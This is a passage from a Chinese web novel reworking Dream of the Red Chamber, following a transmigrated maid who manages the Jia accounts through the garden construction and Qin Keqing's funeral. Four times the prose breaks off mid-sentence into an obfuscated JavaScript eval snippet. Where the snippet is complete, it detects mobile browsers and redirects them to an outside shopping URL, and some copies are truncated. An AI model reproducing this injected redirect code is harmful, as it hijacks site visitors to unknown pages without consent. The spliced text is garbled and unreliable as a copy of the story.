苏璃拿着单子去到凤姐正房，将情况说了。凤姐正与几个管事媳妇商议事情，闻言接过单子看了看，眉头微蹙。她自然知道贾珍好面子，但此事确需斟酌。她沉吟片刻，对苏璃道：“你顾虑得是。这样，二十匹减为十匹，其余用上用的杭锦、蜀锦顶替，总价控制在预算之内。你去告诉蔷儿，就说我说的，体面要紧，但也不可太过张扬，惹人议论。让他重新开了单子来支。” 苏璃领命而去。贾蔷听了，虽有些不情愿，但凤姐发了话，也只得照办。苏璃按修改后的单子核发了银两，心中却记下一笔：宁府在采买上用度上，手面颇大，需格外留意。 这边刚打发走贾蔷，那边银库的管事又愁眉苦脸地来回：“璃姑娘，库上现银只剩下不到五千两了，后日要发放大批工匠的工钱，还有几笔石料款要结，恐怕接济不上。” 这早在苏璃预料之中。她平静地问：“金陵老宅那边调拨的银子，何时能到？” “信是前儿送去的，按路程，最快也需七八日。” “七八日……”苏璃心念电转，工程一刻不能停，工钱更是拖不得，否则易生事端。她起身道：“我去回二奶奶。” 凤姐听了银库的回禀，也是吃了一惊，没想到银子花得如此之快。她烦躁地揉了揉额角：“这可如何是好？总不能停了工程！我那体己银子，前几日已挪了一万两进去，如今也所剩无几了。” 苏璃低声道：“奶奶，可否……可否先从几家常来往的银号，暂时挪借一些？待老宅的银子到了，即刻归还。利息方面，或可让林之孝去谈谈。” 凤姐眼中精光一闪，这自然是眼下最快的法子。只是向银号借钱，利息且不说，传出去总是不太好听。她看了苏璃一眼，这丫头倒是敢想。她沉吟道：“……也只好如此了。此事需做得隐秘，你让林之孝悄悄去办，利息压到最低，借款契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她吹熄了蜡烛，走出账房。夜凉如水，偌大的荣国府沉寂在黑暗中，只有远处省亲别墅的工地上，还隐约传来夜作的声响。苏璃抬头望着满天星斗，心中沉甸甸的。这流转的巨款，既是支撑这繁华盛景的血液，也可能成为吞噬一切的漩涡。她站在这漩涡的中心，如履薄冰。 接下来的日子，她暗中留意着与“兴隆”字号往来的所有账目，并悄悄让一个绝对可靠的小丫头，借采买之名去市面上打听“兴隆木石行”的底细。反馈回来的消息是，确有此商号，专营名贵木料，但背景似乎有些复杂，与几位王府贝勒府上都有往来。 这一日，贾珍又派人送来一张单子，是为别墅内书房采购一批紫檀木、花梨木家具及古玩摆设，指名要“兴隆木石行”承办，价格高得令人咋舌。 苏璃看着单子，又想起那枚有些异常的印鉴，心中疑云更甚。她感到，一张无形的大网，似乎正借着省亲工程的由头，悄悄向荣国府笼罩过来。而这巨款流转的漩涡深处，隐藏的恐怕不仅仅是贪墨那么简单。 33. 暗中布局 省亲别墅的工程如火如荼，银钱如流水般花出去，苏璃白日里埋首于堆积如山的账册单据，拨算盘核数目，应对各色人等，忙得脚不点地。 她将水澈那日点醒的“人情”、“体面”牢记于心，行事越发圆融周至，既严守规矩，又不至过分得罪人，连贾琏琏、贾珍等处支取些逾制的款项，她或婉转提醒，或记录在案呈报凤姐决断，自己绝不硬顶，倒也渐渐磨去了不少明面上的敌意。 然而，每当夜深人静，拖着疲惫的身子回到那间小小的耳房，吹熄了灯，躺在冰冷的床铺上时，白日里那些喧嚣的数字、奉承的笑脸、暗藏机锋的言语便潮水般退去，取而代之的是一种更深沉的清醒与焦虑。 水澈的话，如同警钟，时时在她耳边回响：“堵住上面人的口，却难”、“刚直易折”、“真正开源”。而前世阅读《红楼梦》的记忆，更如同一个巨大的阴影，笼罩着她——这眼前的烈火烹油、鲜花着锦，终究是镜花水月，贾府的败落，几乎是注定的结局。 她如今所做的一切，对这一切的精打细算，呕心沥血，或许能稍稍延缓那一天的到来，但能否改变最终的命运呢？这实在是个问题，若是贾府这艘船沉了，她的命运又该往何处去？ 她不能坐以待毙。 必须为自己，也为这具身体所承载的、对这片屋檐下些许温暖的微弱眷恋，留一条后路。 这条后路，不能系于贾府这艘日渐沉没的破船上，必须向外寻找生机。水澈提到的“真正开源”，与她前世所知的那个时代“资本原始积累”的路径，在她脑中渐渐重合——海外贸易，兴办实业。这是超越这个时代眼光的降维打击，也是风险巨大、绝非她一介奴婢所能轻易染指的领域。但，这是唯一的希望。 她开始利用职务之便，极其隐秘地布局。机会隐藏在省亲工程浩繁的采买清单和往来商户之中。 这日，她核对一批从“粤海记”采买的进口玻璃器皿和自鸣钟的单据时，状似无意地问经手的伙计：“这些洋货倒是精巧，不知贵号除了这些，可还经营别的海外物产？譬如香料、药材，或是些稀罕的种子？” 那伙计见是荣国府得脸的姑娘询问，忙赔笑道：“回姑娘的话，小的们号里主要经营这些珍玩器皿。香料药材也有些，多是供给各大药堂和香铺。种子……倒是少见，不过听说南洋有些奇花异草的种籽，偶尔也有海客带来，只是不成规模。” 苏璃点点头，不再多问，却在心中记下了“粤海记”和“南洋种籽”这几个字。 又一次，江宁织造府送来一批上等贡缎，押送的管事是府里的老人，与贾家相熟。苏璃在核验缎匹、结算余款时，闲聊般提起：“如今这江宁织造的锦缎是越发好了，听说西洋人也极喜爱中国的绸缎，若能贩运出去，利润想必丰厚。” 那管事叹道：“姑娘有所不知，海外贸易那是皇商和几家有门路的大商号才能沾手的生意，风险大着呢！海上风浪不说，光是市舶司的关节、沿海官府的打点，就是天大的难处。咱们这些人家，也就是守着祖业，在内地做些买卖罢了。” 苏璃心中暗忖，果然壁垒森严。但她注意到管事话中提及“皇商”和“几家大商号”，这或许是突破口。 她将日常听到的、与各地商号打交道时旁敲侧击得来的信息，连同账目上反映出的各地物产价格差异、稀缺程度，都用只有自己才看得懂的简化符号和数字，秘密记录在一本看似是杂记的花样子册子空白处。 广州的香料、苏杭的丝绸、景德镇的瓷器、福建的茶叶、辽东的人参……哪些是利润丰厚的商品，哪些商号有海外门路，哪些港口管理相对松弛，她都默默搜集、分析。 光有信息还不够，需要启动资金和人手。这更是难如登天。她一个丫鬟，月钱有限，虽偶有赏赐，但距离经商所需的资本无疑是九牛一毛。而且，她无人可信，无人可用。 这日，她偶然听到平儿与凤姐闲聊，说起老太太陪房周瑞的女婿，名唤冷子兴的，近日因酒后狂言，得罪了官面上的人，吃了官司，家业凋零，正在四处求人打点。苏璃心中一动。冷子兴！《红楼梦》中提及的这个人物，是个古董商人，交际广阔，消息灵通，但也是个趋炎附势、投机钻营之辈。如今他落难，正是收买利用的时机？但此人品性不佳，风险极大。 她按捺下这个危险的念头，继续等待。机会终于再次悄然出现。省亲别墅需要大量名贵花木，其中一些南方珍稀树种，需从广州一带采购。经手此事的，是赖大一个远房侄子，名叫李十儿，常年在外帮贾府打理田庄、采买土产，为人精明，但也颇有几分胆识和野心。 苏璃在核对花木款项时，与李十儿打过几次交道，发现此人不仅对南方物产熟悉，言谈间对海外奇珍异宝也颇有见识，且对现状似乎有些不甘。 一次对账完毕，旁人散去，李十儿凑近几步，压低声音对苏璃道：“璃姑娘办事真是精细，小的佩服。不瞒姑娘说，如今府里这差事，看着风光，实则……唉，也就是混口饭吃。哪比得上那些跑海的，一趟下来，便是几辈子的嚼用。”他眼中闪过一丝羡慕与贪婪。 苏璃心中警醒，面上却不露声色，只淡淡道：“李管事说笑了，跑海风波险恶，岂是安稳之道。还是办好府里的差事要紧。” 李十儿讪讪一笑：“姑娘说的是，是小的一时妄言了。”便告辞离去。 苏璃看着他背影，心中盘算。李十儿有见识，有门路，也有野心，或可一用？但同样需要谨慎驾驭。 资金方面，她更是小心翼翼。她将平日积攒的月钱和赏赐，大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻轻从怀中摸出那本花样子册子，就着月光，看着上面无人能懂的符号，那代表着可能通往自由的种子、商路和微薄的资本。她的指尖在冰冷的纸页上划过，心中一片冰凉，却也燃烧着一点不肯熄灭的火焰。 就在这时，窗外廊下传来一阵急促的脚步声和小丫鬟压低嗓音的惊呼：“快！快去回二奶奶！东府珍大奶奶那边派人来说，蓉小奶奶……蓉小奶奶不好了！” 苏璃手一抖，册子差点滑落。秦可卿！ 她的心猛地一沉。该来的，终究还是要来了吗？这盛极而衰的转折点，竟如此之快？ 她迅速将册子塞回怀中，关紧窗户，深吸一口气，强迫自己冷静下来。眼前的危机，或许正是她暗中布局的变数所在。她整理了一下衣衫，快步向凤姐的正房走去。 夜色，愈发深沉了。 34. 秦可卿之死 夜晚东府传来的消息，如同一声闷雷，炸响在荣国府看似平静的夜空。 蓉大奶奶秦可卿，病势陡然沉重，竟至不起！消息传来时，凤姐刚卸了钗环准备安歇，闻讯惊得手一抖，玉簪掉在地上摔成了两截。她也顾不上了，一面急急穿衣，一面连声吩咐平儿备车，又让人立刻去请王太医，声音都变了调。 苏璃哪怕在在账房也听到了外面的骚动，心中那根紧绷的弦骤然拧紧。秦可卿！这个在《红楼梦》中象征着贾府由盛转衰的关键人物，她的死亡，竟在自己眼前拉开了序幕。她强迫自己镇定下来，迅速将桌上重要的账册单据锁进柜子，吹熄了灯，快步走向凤姐院子。 院子里已然乱作一团。丫鬟婆子们脚步匆匆，面色惶惶。凤姐已穿戴整齐，正由平儿扶着往外走，脸色煞白，嘴唇紧抿，眼中是难以置信的惊痛与一丝……难以言喻的慌乱。见到苏璃，她只急促地吩咐了一句：“你只管看顾好家里，账目上的事，一切等我回来再说！”便匆匆上了车，车轮碾过青石板路，发出急促的声响，消失在夜色里。 苏璃站在院门口，夜风带着刺骨的寒意。她知道，从这一刻起，贾府的天，要变了。秦可卿之死，不仅仅是一个年轻生命的消逝，更是一场巨大风波的开始。两府治丧，排场、银钱、人情往来……千头万绪，将如同决堤的洪水，汹涌而来。而她所处的这个位置，也必将会被推到风口浪尖上。 这一夜，宁荣两府灯火通明，无人安眠。苏璃回到账房，和衣靠在榻上，却毫无睡意。她能想象东府那边是怎样的忙乱与悲声，也能预见到明日之后，自己将要面对何等的局面。 贾元春省亲别墅的工程尚未完工，巨款流转的压力未减，如今又添上这突如其来的丧事，银钱开销将是一个无底洞。凤姐要总理两府内务，压力之大，可想而知。而自己这个掌管银钱账目的“钥匙”，必将成为各方势力觊觎、倾轧的焦点。 果然，天刚蒙蒙亮，各种消息便如同雪片般飞來。先是东府大管家赖升亲自过来，面色凝重地商议治丧的一应开支用度，开口便是要支取一大笔银子用于采买上等棺木、寿衣、祭品等物。接着，荣府这边各房的管事媳妇也纷纷来探口风，询问丧仪规格、各房需准备的祭礼、仆役们的孝服发放等事。账房门前，比往日更加喧嚷。 苏璃打起精神，应对各方。她深知此事敏感，一切需按旧例，且要符合宁国府的身份体面，不能授人以柄。对赖升，她客气而坚定地表示，所有支取需有东府珍大奶奶或尤氏的对牌和明确批示，并详细列明用途、数量、估价，经她核对无误、登记在册后，方可请凤姐画押支银。赖升虽心急，见她说得在理，且搬出了规矩，也只得应下，匆匆回去办理手续。 对于荣府内部的询问，苏璃一律回答：“一切事宜，皆等二奶奶从东府回来示下。各位妈妈嫂子且按旧例稍作准备，切勿擅自举动，以免忙中出错。”她语气平和，却带着不容置疑的力度，将一应纷扰暂时挡了回去。 平儿随凤姐去了东府，荣府内院暂时由苏璃坐镇。她知道自己此刻绝不能乱，每一步都必须谨小慎微。她将账房暂时交给一个可靠的小丫头看守，自己则亲自坐镇凤姐的正房外间，处理日常事务，接待回话的仆人，言语间滴水不漏，既安抚了人心，又稳住了局面。 直到傍晚时分，凤姐才拖着疲惫不堪的身子回来，眼窝深陷，声音沙哑。她一回来，便立刻召见赖升、林之孝等内外管家，商议治丧大事。苏璃在一旁伺候茶水，只听凤姐条分缕析，从棺椁、坟茔的选择，到僧道超度、宾客接待、车马调度、仆役分派……样样安排得井井有条、妥妥当当，脸上虽面带悲戚，但号令施为，杀伐决断，竟比素日更显得威严利落。苏璃不经在心中暗叹，王熙凤之才干，确非常人可及，越是大事，越是冷静。 接下来的日子，宁国府门前白茫茫一片，吊唁的宾客络绎不绝，号丧声、诵经声、器乐声日夜不绝。银钱更是如同流水般花了出去。上好杉木棺椁、帝王御赐的樯木、各色绫罗绸缎、金银纸札、三牲祭礼、僧道的衬钱、执事仆役的赏银……每一笔都是巨大的开销。苏璃的账房，成了最繁忙的地方。支取单据如雪片般飞来，她夜以继日地核对、登记、算账，眼下一片乌青，人也迅速消瘦下去。 她更加严格地执行着规矩。每一笔款项，无论大小，必有对牌、有批示、有明细。对于东府那边的开支，她尤其谨慎，必定与赖升或尤氏派来的管事媳妇反复核对清楚，确保名正言顺。她知道，不知多少双眼睛正盯着这笔庞大的丧葬费用，稍有不慎，便是万劫不复。 这日，贾珍派人送来一张单子，要支取一笔巨款，用于请钦天监阴阳司择日、以及打点内相戴权，为贾蓉捐个龙禁尉的前程。苏璃看着单子上那惊人的数目，心中凛然。秦可卿的丧事，竟成了贾珍为儿子买官铺路的契机！这其中的肮脏交易，让她心寒。但她不能表露分毫，只是依例检查了单据齐全，又特意询问了句：“珍大爷此事，可曾回明西府里的老爷、太太们知道？” 那送单子的下人陪笑道：“珍大爷已遣人回过政老爷了，想必是准的。” 苏璃不再多言，将单子收好，道：“此乃大事，需得二奶奶亲自定夺。我这就去回禀。”她拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908607|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着单子去见凤姐，凤姐正因连日劳累，心口疼的老毛病又犯了，歪在榻上由平儿揉着。看了单子，凤姐冷哼一声，脸上掠过一丝复杂的情绪，有嘲讽，有无奈，最终化为疲惫：“既然是东府大爷的主意，又回过老爷了，咱们还能拦着不成？依他吧。只是这银子……唉，你仔细记清楚，一笔是一笔。” 苏璃应下，心中明白，凤姐对贾珍此举亦是不满，却无力阻止。这更让她感到一种深深的无力感，这家族的腐朽，已从根子上烂掉了。 丧事还在继续，排场越来越大，开销与日俱增。公中的银子早已捉襟见肘，凤姐不得不再次动用体己，甚至又暗中向银号借贷。苏璃看着账本上飞速减少的数字和不断增加的借款利息，心头沉甸甸的。省亲别墅尚未完工，后续还需大笔投入，如今又加上这浩大的丧事，贾府的财政，已到了悬崖边缘。 然而，就在这一片忙乱与奢靡之中，苏璃却敏锐地察觉到一丝异样。这几日，来旺家的来回话的次数明显增多了，有时是回禀外面铺子的事，有时是送些东西，但眼神闪烁，总似有话要说。而周瑞家的，虽因之前的事低调了许多，但偶尔在院子里遇见，看她的眼神也带着一种难以言喻的探究。 这日晚间，苏璃核对完最后一笔账目，已是三更天。她揉着胀痛的额角，准备回房歇息。路过穿堂时，隐约听见角落里有压低的交谈声，像是来旺家的和另一个婆子。 “……听说那边病得蹊跷……好好的一个人……” “嘘！作死呢！这话也是能乱说的？仔细你的皮！” “我这不是……唉，只是觉得，这府里的事儿，真是说不好……” 声音戛然而止，似是发现了有人，迅速散去了。 苏璃站在原地，夜风吹过，遍体生寒。秦可卿的死，果然没那么简单！这府里的水，比她想象的还要深，还要浑。来旺家的、周瑞家的……这些昔日与王熙凤或亲近或疏远的人，似乎都在暗中窥探、蠢蠢欲动。 她抬头望着被府中白灯笼映得一片惨淡的夜空，心中警铃大作。秦可卿的死，不仅仅是一场丧事，更是一个信号，一个契机。它搅动了府中沉寂多年的暗流，让许多隐藏的矛盾和秘密，都浮出了水面。而自己，这个手握账目、深知府中财务虚实的人，恐怕早已成了某些人眼中必须除掉或者……必须掌控的棋子。 接下来的日子，恐怕才是真正的风雨飘摇。她握紧了袖中那本记录着秘密的花样子册子，那里面藏着渺茫的退路和希望。她必须更加小心，更加警惕。在这场即将到来的风暴中，她不仅要守住自己的位置，更要……设法活下去。 35. 秦可卿之死后续 秦可卿的丧事，果然办得风光浩大，如同其生前一般，极尽哀荣，却也透着一股难以言喻的奢靡与诡异。 宁国府门前，起了一座高高的宣坛，请了一百单八众禅僧在大厅上拜大悲忏，超度前亡后化诸魂；另设一坛于天香楼上，是九十九位全真道士，打四十九日解冤洗业醮。然后停灵于会芳园中，灵前另有五十众高僧、五十众高道，对坛按七作好事。 这般排场，耗费银钱如同流水。上好棺木、寿衣、旌幡、纸札，乃至僧道的衬钱、执事人的赏封，一应都是顶级的规格。 贾珍哭得泪人一般，恨不能代秦氏之死，自是发话“尽我所有”办理，底下人更是趋奉唯恐不及，采买用度，只求最贵，不问价值。 苏璃掌管的账房，成了这奢靡洪流的总闸口。每日里，宁府那边支取银钱的单子络绎不绝，名目繁多，数额巨大。采买上古奇珍楠木棺材的，定制江南顶级云锦寿衣的，置办赤金祭器的，打点僧道襯钱的，犒赏仆役的……每一张单子递到苏璃面前，她都需仔细核对用途、数量、估价，查验对牌印信，登记入册。 她心知这丧事花费远超常理，其中不知有多少人中饱私囊，但贾珍既发了话，凤姐又无力阻拦，她一个管账的丫鬟，更是无法置喙，只能严守本分，将每一笔账目记得清清楚楚，明明白白。她将各项开支分门别类，丧仪、祭品、僧道、人工、赏封，各立专账，数目、经手人、支取日期，一笔笔记得清晰可查。她知道，这奢靡的背后，是贾府日渐空虚的库银和不断累积的债务，这笔糊涂账，迟早有清算的一天，自己必须留下清晰的痕迹，方能在这未来的风波中，求得一线生机。 这日，贾珍又派人来支取一笔巨款，言明是用于请钦天监阴阳司择日，并打点内相戴权，为贾蓉捐个“龙禁尉”的前程。苏璃看着单子上那令人咋舌的数目，心中冷笑，这哪里是办丧事，分明是借机买官鬻爵，行贿钻营。她不动声色，查验了贾珍的对牌和手谕，又特意问了一句：“此事珍大爷可曾回过西府里老爷、太太们知道？” 那管事陪笑道：“珍大爷已遣人回过政老爷了，想必是准的。” 苏璃不再多言，依例登记画押，将单子收好，心中却记下重重一笔。贾府爷们这般胡作非为，奢靡无度，这艘大船，沉没是迟早的事。她更加坚定了暗中布局、另寻出路的决心。 丧事期间，宁荣两府人来人往，吊唁的宾客络绎不绝，上至王公贵族，下至亲友世交，车马轿子摆出去三四里远。府中仆役更是倾巢而出，迎来送往，置办酒席，忙得人仰马翻。凤姐作为内当家，更是忙得脚不点地，不仅要总理两府事务，还要协理宁国府丧仪，接待女眷，几日下来，便瘦了一圈，眼下的乌青比苏璃更甚。 这日，是首七第四日，正日子，宾客最多。凤姐在宁府灵前忙了半日，刚回西府想歇口气，就有丫鬟来报：“奶奶，来旺姐姐来了，说有要紧事回。” 凤姐揉着额角，不耐道：“什么事不能等会儿再说？” 话音未落，来旺家的已掀帘子进来，脸上带着几分急切，福了一福，道：“给奶奶请安。原不该这时候来扰奶奶，只是外头庄子上送来的几车粮食，因着路上耽搁了，今日才到。偏生这几日府里用粮多，库上存的米面眼看接济不上了，管粮的吴新登急得不行，让来回奶奶，看是现买些应急，还是怎的？” 凤姐一听，火气就上来了：“这点子事也来回我？库里没了，现去买就是！难道还让客人们饿着肚子不成？” 来旺家的忙道：“奶奶息怒。现买自然使得，只是如今市面上粮价一日三涨，又值丧事，采买量大，只怕……只怕要费些银子。吴新登的意思，是想请奶奶个示下，这采买的银子，从哪项下支取？是走公中的账，还是……” 凤姐柳眉倒竖，正要发作，平儿在一旁悄悄拉了她一下，接口道：“来旺嫂子，如今府里事忙，奶奶也乏了。这等小事，你让吴新登斟酌着办就是，总不好误了事。银子先从公账上支，记清楚用途数目，等璃姑娘核对了，再入账便是。奶奶，您看这样可好？”说着看向凤姐。 凤姐压下火气，挥挥手：“就按平儿说的办！快去！别在这儿杵着惹我生气！” 来旺家的连声应了，退了出去。 平儿这才对凤姐低声道：“奶奶何苦为这点事动气？来旺家的也是按规矩办事。如今府里用度大，各项开支混杂，她来问一句，也是怕账目上不清，日后麻烦。” 凤姐叹了口气，疲惫地靠在引枕上：“我也知道。只是这千头万绪的，事事都要我来决断，真真是要了命了！银子像水似的淌出去，进项却不见多，长此以往，可怎么得了！”她说着，目光转向窗外，喃喃道，“如今还能拆东墙补西墙，若是哪天……” 她没有说下去，但眼中的忧虑却明明白白。平儿也沉默了，只是轻轻替她揉着太阳穴。 这一切，都被侍立在一旁、正准备汇报账目的苏璃听在耳中，看在眼里。她心中凛然，凤姐的焦虑，正是贾府财政危机的真实写照。连日常米粮采买都需要临时筹措银两，可见府中现金流已紧张到何种地步。而来旺家的在此刻来回此事，看似是尽职，但时机拿捏得如此之巧，难保没有试探凤姐底线、或者故意添乱的心思。府中这些积年的老人，心思叵测，可见一斑。 她上前一步，轻声将方才几笔紧要账目汇报了。凤姐心不在焉地听着，末了摆摆手：“知道了，你看着办吧，记得账目清楚就好。”此刻，她已无暇顾及这些细务了。 苏璃退了出来，心中更加沉重。凤姐这棵大树，已是内里空虚，风雨飘摇。自己依附其上，必须早做打算。 回到账房，她发现来旺家的竟等在那里，见她回来，脸上堆起笑：“璃姑娘回来了？方才奶奶吩咐买粮的事，还得麻烦姑娘这边登记一下，支取银子。” 苏璃点点头，不动声色地拿出支取簿，问道：“采买多少？按什么价支取？吴管事可说了？” 来旺家的道：“说是先买上等白米一百石，精细白面五十石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908608|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应急。市价嘛……如今涨得厉害，只怕比平日要贵上三成不止。具体的，吴新登说他会去操办，姑娘只管按他报的数目支取便是。” 苏璃笔下顿了顿，抬眼看了来旺家的一眼，淡淡道：“嫂子，按规矩，支取银钱需有明细。这米面市价几何，采买何处，还须吴管事给个准数，立了单子，画了押，我这边才能登记支银。不然，账目不清，日后对不上，你我都有不是。” 来旺家的笑容僵了一下，随即又笑道：“姑娘说的是，是我心急了。我这就去让吴新登立单子来。”说着，便转身出去了。 苏璃看着她离去的背影，心中冷笑。吴新登是府里管粮的老管事，与来旺家的一向走得近。他们想趁着丧事忙乱，在采买上做手脚，虚报价格，中饱私囊，简直是司马昭之心。想浑水摸鱼？也得看她这关过不过得去！ 果然，过了一会儿，吴新登亲自拿着张单子来了，上面写着米面的数量和价格，果然比平日市价高出近四成。苏璃接过单子，仔细看了看，却不急着画押，只道：“吴管事，这价格……似乎比市面上贵了不少？我前几日出府，顺道问过米行，好像没到这个数。” 吴新登脸上掠过一丝不自然，干笑道：“姑娘有所不知，这几日因着……府上大事，市面上粮价一日三变，又急着要货，价格自然要高些。再者，咱们府上用的都是顶好的米面，价钱本就贵些。” 苏璃心中明镜似的，却不点破，只道：“既如此，还请吴管事在单子上注明，是因急需且品质上乘，故价格从权。另外，采买回来，需有库房验收画押，单据齐全，我这边的账才能销。这是规矩，吴管事是老人了，想必清楚。” 吴新登脸色变了几变，见苏璃神色平静，眼神却锐利，知道这丫头不好糊弄，只得讪讪地应了，在单子上加了备注，画了押。 苏璃这才依例登记，支了银子，心中却记下了这一笔。府中这些蠹虫，已是无所不用其极，连丧事期间的急用粮款都敢伸手，可见风气败坏到了何种地步。这也更加坚定了她必须尽快为自己谋划退路的决心。 忙碌中，日子一天天过去，秦可卿的丧事终于到了出殡的日子。那日，送殡的队伍浩浩荡荡，压地银山一般从北而至，宁荣街一带，一条街白漫漫人来人往，花簇簇官去官来，说不尽那光摇朱户金铺地，雪照琼窗玉作宫的气派。 苏璃作为内宅丫鬟，并未随行，只留在府中处理后续账目。她站在仪门内，听着外面传来的喧天鼓乐和哭声，看着府中瞬间冷清下来的院落，心中却没有丝毫轻松。她知道，这场奢靡的丧事，耗去的不仅仅是巨额的银钱，更是贾府所剩无几的元气和运势。风雨，就要来了。 而此刻，她最关心的，是前几日让一个小丫头悄悄送去“粤海记”打听南洋香料价格的信，不知是否有回音？她那本花样子册子上，又能添上怎样的一笔？这深宅大院外的天地，才是她真正的希望所在。她转身，快步走向账房，那里有她的战场，也有她通往未来的、渺茫而坚定的路。 36. 与水澈再遇 在八众禅僧于大厅上超度前亡后化诸魂、九十九位全真道士解冤洗业醮、五十众高僧对坛按七作好事之后，秦可卿的丧事总算尘埃落定，宁荣两府上下人等都像是被抽干了力气，连素日最喧闹的丫鬟小子们也安静了许多。 府中各处悬挂的白幡、白灯笼尚未撤尽，在秋日萧瑟的风里簌簌作响，平添几分凄清。 然而，表面的沉寂之下，是更深重的疲惫与隐隐的不安。省亲别墅的工程因丧事耽搁了月余，如今必须加紧赶工；而丧事奢靡留下的巨额亏空，如同悬在头顶的利剑，让当家理事的凤姐眉头一日紧似一日。 苏璃更是忙得脚不点地。她不仅要将丧事期间所有混乱的账目重新整理、分类、归档，还要处理因工期延误而积压下来的省亲工程款项结算，更需应对各房因丧事“随份子”、打赏下人等产生的琐碎账目纠葛。 她如同一个高速旋转的陀螺，只有深夜回到那方寸耳房，才能得到片刻喘息。饶是她年轻精力旺盛，这几日也清减了不少，下颌尖了，衬得一双眼眸越发黑沉沉的，只是那眼神里的沉静与锐利，却比往日更甚。 这日午后，她刚将一摞核对完的丧仪账册锁进柜子，揉了揉酸涩的手腕，平儿掀帘进来，脸上带着些许轻松的笑意：“可算是理出些头绪了。奶奶说，你这几日辛苦，后儿十五，府里因着丧事，这个月月钱发放推迟了，明日务必发放下去，免得底下人嘀咕。这是各房的份例单子，你核对了，预备好银两，明日一早发放。” 苏璃接过单子，应了声是。发放月钱是大事，尤其在府中银钱紧张、人心浮动的时候，更不能出错。她立刻着手准备，核对名册，计算银两，又去银库支取了相应的散碎银子和铜钱，一一称准、包好，直忙到掌灯时分。 次日一早，苏璃便带着两个小丫鬟，在靠近二门的一间敞厅里设了桌子，发放月钱。各房的丫头、婆子、小厮，按着次序前来领取，签字画押。 苏璃端坐桌后，面前摊开着名册和银包，神情专注，发放、登记、核验，一丝不乱。她注意到，不少人领了月钱，脸上并无多少喜色，反而有些忧心忡忡，交头接耳间，隐约听得“粮价又涨了”、“外头庄子上收成不好”等语。她心中暗叹，这府里的艰难，已渐渐传导至最底层了。 发放了大半，人渐渐稀少。苏璃正低头登记最后一笔，忽听门口有些动静，抬头一看，竟是宝玉屋里的麝月笑着引了一人进来。那人穿着玄色暗纹锦袍，外罩一件石青色素缎鹤氅，身姿挺拔，容颜清俊，神色疏淡，不是北静王府的四爷水澈又是谁？ 苏璃心头猛地一跳，握着笔的手微微一顿。他怎么来了？还径直到了这发放月钱的内院敞厅？ 只见麝月笑道：“璃姑娘，四爷来寻二爷，二爷正在老太太屋里说话，一时不得空。四爷说随意走走，没想到走到这里来了。”她又转向水澈，解释道，“四爷，这是发放月钱的苏璃姑娘。” 水澈目光平静地落在苏璃身上，微微颔首：“苏姑娘。”他语气寻常，仿佛只是偶遇一个面熟的丫鬟。 苏璃忙起身敛衽行礼：“奴婢见过四爷。不知四爷驾到，有失远迎。”她心中惊疑不定，面上却竭力维持着恭谨平静。 水澈扫了一眼桌上摊开的名册和银包，淡淡道：“姑娘在忙？是我唐突了。” “不敢。月钱已发放得差不多了。”苏璃垂下眼睫，对旁边的小丫鬟道，“快给四爷看座，上茶。” 水澈却摆摆手：“不必麻烦。我随意看看就走。”他并未坐下，反而向前走了两步，目光似乎不经意地掠过那些写着名字、画着押的领钱册子，以及桌角一叠尚未发放的、包得整整齐齐的银包。“府上发放月钱，倒是清晰。”他语气平淡，听不出褒贬。 苏璃不知他意欲何为，只得谨慎答道：“皆是旧例，奴婢不过照章办事。” “旧例？”水澈唇角几不可察地弯了一下，那笑意未达眼底，“能将旧例执行得如此一丝不苟，分毫不差，也是本事。”他顿了顿，目光转向她，“尤其，是在这般……多事之秋。” 最后四个字，他说得极轻，却像一根细针，轻轻刺了苏璃一下。她霍然抬眼，对上他那双深邃的眸子。那里面没有戏谑，没有探究，只有一种了然的平静，仿佛早已看透这府中繁华下的窘迫与她那点强撑的镇定。 他知道了。他一定知道了府中银钱紧张，甚至可能知道了丧事造成的亏空。他今日来，绝非偶然“走到这里”。 苏璃心念电转，迅速垂下眼帘，掩去眸中波动，只低声道：“四爷说笑了。府中蒙天恩祖德，一切安好。” 水澈不置可否，目光却落在她因连日劳累而略显苍白瘦削的侧脸上，和那眼底淡淡的青影上。他忽然道：“秦氏之丧，听闻办得甚是风光。” 苏璃心中警铃大作，这话更不好接。她斟酌道：“蓉大奶奶福薄，珍大爷悲痛逾恒，自是尽力操办，以尽哀思。” “尽力操办……”水澈重复了一遍，语气依旧平淡，却让苏璃感到一股无形的压力。他不再看她，转而望向窗外凋零的秋色，仿佛自言自语，“木秀于林，风必摧之。堆出于岸，流必湍之。有时候，过犹不及。” 